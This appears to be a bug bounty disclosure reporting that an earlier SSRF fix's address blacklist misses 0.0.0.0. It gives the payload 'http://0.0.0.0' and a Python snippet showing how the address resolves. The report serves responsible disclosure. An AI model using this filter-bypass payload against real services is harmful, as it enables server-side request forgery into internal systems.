Description

Bypass of this report: https://huntr.dev/bounties/499688c4-6ac4-4047-a868-7922c3eab369/

Proof of Concept

Blacklist does not check for 0.0.0.0

PAYLOAD: http://0.0.0.0

This payload will be resolved to localhost

>>> import socket
>>> from urllib.parse import urlparse
>>> PAYLOAD = 'http://0.0.0.0'
>>> socket.getaddrinfo(urlparse(PAYLOAD).hostname, 0)[0][4][0]
'0.0.0.0'

Impact

SSRF